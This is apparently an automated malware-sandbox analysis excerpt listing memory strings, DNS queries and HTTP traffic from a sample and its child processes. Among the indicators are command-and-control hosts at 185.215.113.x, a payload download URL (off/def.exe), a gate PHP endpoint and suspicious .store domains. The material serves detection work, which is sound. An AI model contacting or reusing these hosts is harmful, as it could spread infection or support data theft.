functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.js[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jsIt looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001A.00000002.3176703968.000002592395D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280639357.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/1
Source: file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/G
Source: file.exe, file.exe, 00000000.00000003.2281042245.0000000006127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2280639357.0000000001680000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/og
Source: num.exe, 0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/405117-2476756634-1003
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/B
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/S
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: num.exe, 0000001D.00000002.3041700292.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3.
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php6-535557bcc5fa
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpIlm
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpON
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpkN
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpm
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpwN
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpyl
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/8
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/A
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/N
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/T
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: 7a5878ed96.exe, 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: num.exe, 0000001D.00000002.3041700292.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/l
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3175826524.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 7a5878ed96.exe, 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206y_
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjs
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjsisDownloa
Source: file.exe, 00000000.00000003.2198672347.000000000167F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000003.3095834333.0000025934AE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000003.3079779963.0000025935546000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3072690944.000002593B85F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.3181290798.000002592F026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3017245931.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3015518419.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3152376334.00000259331EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3183561232.000002592F1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3017245931.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3125338217.0000025933E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3023968614.0000025933E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3125338217.0000025933E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3141387897.0000025933EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3141387897.0000025933E8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://builtin-themes/colorways/202
Source: firefox.exe, 0000001E.00000002.3166770758.0000023D4623C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3079615803.0000023D4623C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3061407451.0000023D4623C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3055375903.0000023D4623C000.00000004.00000020.00020000.00000000.sdmp, mozilla-temp-41.26.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2141877080.000000000614B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2848125428.0000000005D4D000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2977694380.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3125926570.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3153782991.000002593D887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2996313213.0000025933A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2114591297.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114812044.0000000006168000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114537427.000000000616B000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820622416.0000000005C86000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2821001734.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938700152.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2939218924.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3051345571.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
